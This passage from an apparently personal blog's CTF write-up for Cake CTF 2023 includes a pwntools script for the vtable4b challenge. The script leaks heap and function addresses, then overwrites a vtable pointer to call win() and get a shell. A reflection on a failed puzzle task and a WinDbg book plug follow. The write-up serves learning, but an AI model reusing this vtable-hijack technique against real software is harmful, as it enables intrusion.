url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACHElEQVQ4y41Ua3PSUBS8H9TW4mi1j6mtlkefFAKEBAg0QHiXRykUtLYd/f//Yr17QphoJ6MfTu7JTbJnz+49UY1DC7dGB3f5HsaZFkrbaRS2Tv+I/NuTF3tRoToJBw/OLWaFPr5XJuid1GC8SQhIGOh/QVV1z0D545WE9f4Cuc0Uiu/OYcbOZM1tpGQvAP0XsHJ2DQwvGhheNuEemKjq+4U9FAnm5gDNIxvlT5lIoL/31Y0GG5zXBXRw5ko81+f4UZ3i8XqGJ3eGdryyZhlmGoCFQVUn6YhuvdNrUE/eU8uFNcS38li0rR8WBZAfroFjEQy7qaoPqIO597UkINOV89NcF80vNiq6bRbr68K1/bxoTo1fAPKFoFXm3VQNj7U7YUn3ubaOy/Ky/eFSR1oMi9Zwpd9Im0JAtv5cv19ryBANN5K+bqvWI10mswC0m2T7PiBZPrlzYciWeXzCZlBL2dv0c2NVcG0K2TFne/fFG4yvWv706LVxZEm7nKIgqKl7UJAj5exk4X42RVPls/INYd6Ka0CLgB4m2TYmehzpMo3wNFOaRiDKsLRHcn5ZlEaysAocJsPAlAet39zsC8NlaSQgDQ3KYkFRAvJosRsOAI8Yv1ejtCcVJpm26MjNX95SdPzZXIiWlCHzKq5nPIns64QEJeBk8RkZsxALK164yWDO1lmZDNkGW6cp4mwsNHLaDBqR1T8SWXUR/lR+AxETy8ycyTA6AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d4375f1f83f25ae76f3f25aa523922ab/8ac56/image-20231113194447444.webp 240w,\n/static/d4375f1f83f25ae76f3f25aa523922ab/d3be9/image-20231113194447444.webp 480w,\n/static/d4375f1f83f25ae76f3f25aa523922ab/43142/image-20231113194447444.webp 744w\"\n              sizes=\"(max-width: 744px) 100vw, 744px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d4375f1f83f25ae76f3f25aa523922ab/8ff5a/image-20231113194447444.png 240w,\n/static/d4375f1f83f25ae76f3f25aa523922ab/e85cb/image-20231113194447444.png 480w,\n/static/d4375f1f83f25ae76f3f25aa523922ab/cab8c/image-20231113194447444.png 744w\"\n            sizes=\"(max-width: 744px) 100vw, 744px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d4375f1f83f25ae76f3f25aa523922ab/cab8c/image-20231113194447444.png\"\n            alt=\"image-20231113194447444\"\n            title=\"image-20231113194447444\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Once we understand that much, all that remains is to adjust the byte size appropriately, send in the payload, and obtain a shell and the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\ncontext<span class=\"token punctuation\">.</span>log_level <span class=\"token operator\">=</span> <span class=\"token string\">\"debug\"</span>\n\ntarget <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"vtable4b.2023.cakectf.com\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9000</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"win> = \"</span><span class=\"token punctuation\">)</span>\nwin_addr <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\ninfo<span class=\"token punctuation\">(</span><span class=\"token string\">\"win_addr: %#x\"</span> <span class=\"token punctuation\">,</span>win_addr <span class=\"token punctuation\">)</span>\n\n\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"3\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\" [ address ]    [ heap data ]\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>recvlinesS<span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">)</span>\nheap_addr <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token number\">14</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\ninfo<span class=\"token punctuation\">(</span><span class=\"token string\">\"heap: %#x\"</span> <span class=\"token punctuation\">,</span>heap_addr <span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"[+] You're trying to use vtable at \"</span><span class=\"token punctuation\">)</span>\nvtable_addr <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\ninfo<span class=\"token punctuation\">(</span><span class=\"token string\">\"vtable_addr: %#x\"</span> <span class=\"token punctuation\">,</span>vtable_addr <span class=\"token punctuation\">)</span>\n\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"\"</span>\npayload <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>win_addr<span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">+=</span> <span class=\"token string\">b\"\\x41\"</span><span class=\"token operator\">*</span><span class=\"token number\">24</span>\npayload <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>heap_addr<span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"2\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Message:\"</span><span class=\"token punctuation\">,</span>payload<span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"3\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\"</span><span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 643px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/718c7636b26750aedff59bbac0ee58e1/b5bda/image-20231113212529899.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 23.333333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHElEQVQY0yVQ207CUBDskyb64BUVjVgUVC5tLVB6h7aAQCmUUiqYGP7/L8Y9y8NksrvnzM6slNVceLcK8t4cP2aCXzdF0V9gZ68QN4ZYtiPMPwdIWiEWzZA4Yh5VLQQVA/p5HcppFV9nNYaUlNrI+NMQK3XMooewwCHYcm9a91hAiE/eHGbRn737VLvwHzuIXkwWE8LS7OIDuRCyltgR/gY5YYNMn5JowY68B50c2RjJFjsLK31EsonBUxfBs4FvSumXO7AoqZRqk6PQMGd3a1FT3E13hsJYcPxtL+bZ1ogZYrZ3UjrPmnn8avMir6xD2tPNxB2cOxXmdQvGZQN2SYVN26ybNtx7jWf9qyY7cMSMcOxr/EZEVU5kqMT/VCylBK4qtOcAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/718c7636b26750aedff59bbac0ee58e1/8ac56/image-20231113212529899.webp 240w,\n/static/718c7636b26750aedff59bbac0ee58e1/d3be9/image-20231113212529899.webp 480w,\n/static/718c7636b26750aedff59bbac0ee58e1/b1337/image-20231113212529899.webp 643w\"\n              sizes=\"(max-width: 643px) 100vw, 643px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/718c7636b26750aedff59bbac0ee58e1/8ff5a/image-20231113212529899.png 240w,\n/static/718c7636b26750aedff59bbac0ee58e1/e85cb/image-20231113212529899.png 480w,\n/static/718c7636b26750aedff59bbac0ee58e1/b5bda/image-20231113212529899.png 643w\"\n            sizes=\"(max-width: 643px) 100vw, 643px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/718c7636b26750aedff59bbac0ee58e1/b5bda/image-20231113212529899.png\"\n            alt=\"image-20231113212529899\"\n            title=\"image-20231113212529899\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>As always, ptr-yudai’s challenges are educational and excellent, and I learn a lot from them.</p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>It was a lot of fun to play a CTF again after such a long time.</p>\n<p>I could read the implementation of Cake Puzzle, but I never made the leap to realize that it was a 15-puzzle, so I got completely stuck. That was frustrating.</p>\n<p>Looking back now, there really were several places, such as the <code class=\"language-text\">s</code> function, hinting that the array was being treated as a plane, so I felt that I needed to analyze it more carefully and at a finer level of detail.</p>\n<p>I will keep improving.</p>\n<h2 id=\"shameless-plug\" style=\"position:relative;\"><a href=\"#shameless-plug\" aria-label=\"shameless plug permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Shameless Plug</h2>\n<p>At Tech Book Fest 15, which started on 11/11, I am distributing a WinDbg book for free.</p>\n<p>If it interests you, I would be very happy if you picked up a copy.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 225px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d46b0772d6a2b24c7b7b1dd4f6e3fad7/3684f/iq9hJabu7QRSxjTBmqgn8K.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 142.22222222222223%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,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'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d46b0772d6a2b24c7b7b1dd4f6e3fad7/d7e55/iq9hJabu7QRSxjTBmqgn8K.webp 225w\"\n              sizes=\"(max-width: 225px) 100vw, 225px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d46b0772d6a2b24c7b7b1dd4f6e3fad7/3684f/iq9hJabu7QRSxjTBmqgn8K.png 225w\"\n            sizes=\"(max-width: 225px) 100vw, 225px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d46b0772d6a2b24c7b7b1dd4f6e3fad7/3684f/iq9hJabu7QRSxjTBmqgn8K.png\"\n            alt=\"img\"\n            title=\"img\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Reference: <a href=\"https://techbookfest.org/product/bnaHM8sVz6AfEiF8jgpELj?productVariantID=bXvgf8g2KDpRRVJ9pBZJXH&#x26;utm_campaign=share&#x26;utm_medium=social&#x26;utm_source=twitter\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Magical WinDbg - A casual guide to Windows dump analysis and troubleshooting -: Kaeru no Hondana</a></p>","fields":{"slug":"/ctf-cakectf-2023-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/english/"]},"frontmatter":{"date":"2023-11-12","description":"Writeup for Cake CTF 2023.","tags":["CTF (en)","Rev (en)","English"],"title":"Cake CTF 2023 Writeup","socialImage":{"publicURL":"/static/ec6175c6798bb9e1fd1b91a25d0214df/ctf-cakectf-2023.png"}}}},"pageContext":{"slug":"/ctf-cakectf-2023-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}